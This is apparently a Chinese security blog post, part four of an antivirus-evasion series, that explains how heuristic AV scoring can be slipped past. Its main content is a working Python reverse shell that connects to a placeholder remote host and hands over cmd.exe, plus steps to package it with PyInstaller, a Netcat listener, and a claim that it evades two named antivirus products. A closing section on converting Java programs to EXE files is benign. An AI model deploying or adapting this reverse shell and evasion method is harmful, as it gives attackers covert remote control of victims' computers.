免杀初探(四)

分享者才是学习中最大的受益者!

前言

防病毒软件供应商需要处理的中心问题之一是误报

防病毒软件不应该向用户报告发生的每一个微小的、无关紧要的事件

如果是这样,用户可能被迫放弃该防病毒软件,并切换到另一个在正常使用期间创建更少中断的防病毒软件。

为了应对假阳性检测,防病毒厂商提高了他们的检测率

针对单个恶意功能

例如,如果一个文件没有在静态和动态引擎中签名,启发式引擎将运行,并开始使用各种参数自行计算该文件是否是恶意的

例如,防病毒软件将尝试确定文件是否正在打开套接字、 执行下放到持久性文件夹以及从远程服务器接收命令

例如,该文件被检测为恶意文件,杀毒软件将阻止其运行,这一比率可能为70%。 要利用这种情况执行防病毒绕过

我们需要问一个重要问题: 当恶意文件执行单个恶意功能时,防病毒软件会发出警报吗? 因此,它取决于功能。如果我们谈论的功能不一定是恶意的,防病毒软件会检测到该文件包含恶意功能,但得分不会高到向用户发出警报或阻止恶意文件运行, 因此防病毒软件会允许该文件运行

关键就在于: 启发式引擎的这种行为正是我们可以利用的绕过杀毒软件

so,如果只有一个条件为真,文件的得分就会增加,防病毒软件就会检测到该文件是恶意的并对其进行签名

但如果得分较低,防病毒程序将不会发出恶意软件警报,即使它包含恶意功能

image-20210827151759486

python代码编译可执行文件

demo

使用一个连接到远程命令和控制服务器的Python程序

import os, socket, sys
import threading as trd
import subprocess as sb
def sock2proc(s, p):
    while True:
        p.stdin.write(s.recv(1024).decode()); p.stdin.flush()
def proc2sock(s, p):
Antivirus bypass using a single malicious functionality 165
    while True: 
        s.send(p.stdout.read(1).encode())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try: 
        s.connect(("x.x.x.x", 443))
        break
    except: 
        pass
p=sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb.
STDOUT, stdin=sb.PIPE, shell=True, text=True)
trd.Thread(target=sock2proc, args=[s,p], daemon=True).start()
trd.Thread(target=proc2sock, args=[s,p], daemon=True).start()
try: 
    p.wait()
except: 
    s.close()
    sys.exit(0)

安装pip

python.exe -m pip install --upgrade pip

image-20210827153400697

安装pyinstaller模块

使用pip安装:

pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple some-package

生成exe

使用pyinstaller即可

pyinstaller --onefile python.py

image-20210827155045015

本地测试 用Netcat监听

image-20210827155121742

image-20210827154722571

笔者测试 火绒和360都是过的

执行一些危险的命令也是可以的

image-20210827155559835

image-20210827155632689

题外话

Java编译可执行文件

demo

以一个简单的Java Gui程序进行演示

import java.util.Scanner;
import javax.swing.JOptionPane;
public class Test1{
    public static void main(String[] args){
        while(true){
            System.out.print("Please input:");
            Scanner s=new Scanner(System.in);
            String str=s.nextLine();
            if("ByeBye".equals(str)){
                System.out.print("The process is over");
                System.exit(0);
            }else{

                JOptionPane.showMessageDialog(null, "You input is "+str, str, JOptionPane.PLAIN_MESSAGE);
            }   
        }
    }
}

Java->JAR

编译并执行

javac .\Test1.java
java Test1

image-20210810193720832

成功弹窗

JAVA 文件转换为 JAR 文件

jar cvf Test1.jar Test1.class

image-20210810193904904

JAR 编辑 MANIFEST.MF

运行jar 文件

java -jar Test1.jar

image-20210810194022549

报错:Test1.jar中没有主清单属性

原因是因为:我们创建的 jar 文件创建了一个默认的 manifest.mf文件,该文件不知道main 方法所在的位置

从 jar 文件外部将位于类的 main 方法添加到清单文件中

创建一个名为manifest.txt的文本文件

进行添加Main-Clas

Main-Class: Test1

image-20210810210231704

不要尝试手动将其添加到 JAR 文件中的 MANIFEST 文件中,是行不通的

MANIFEST.MF文件中添加位于类的主要方法

jar cmf manifest.txt Test1.jar Test1.class

image-20210810210704209

检查 JAR 文件是否可用

java -jar .\Test1.jar

image-20210810210807960

JAR->EXE

使用Launch4j

下载链接:https://sourceforge.net/projects/launch4j/files/

启动Launch4j

image-20210810211644331

选择Jar路径 和输出exe的路径

image-20210810211829839

选择JRE的paths和version

与自己电脑相匹配

image-20210810212303901

选择.xml 文件的保存位置

image-20210810212608051

image-20210810213827425

总结

技术不是一个单一的,即使我们使用特定的技术设法通过静态引擎

但是 肯定不是持久的

  • 发表于 2021-08-31 19:05:11
  • 阅读 ( 5583 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
略略略
略略略

36 篇文章

站长统计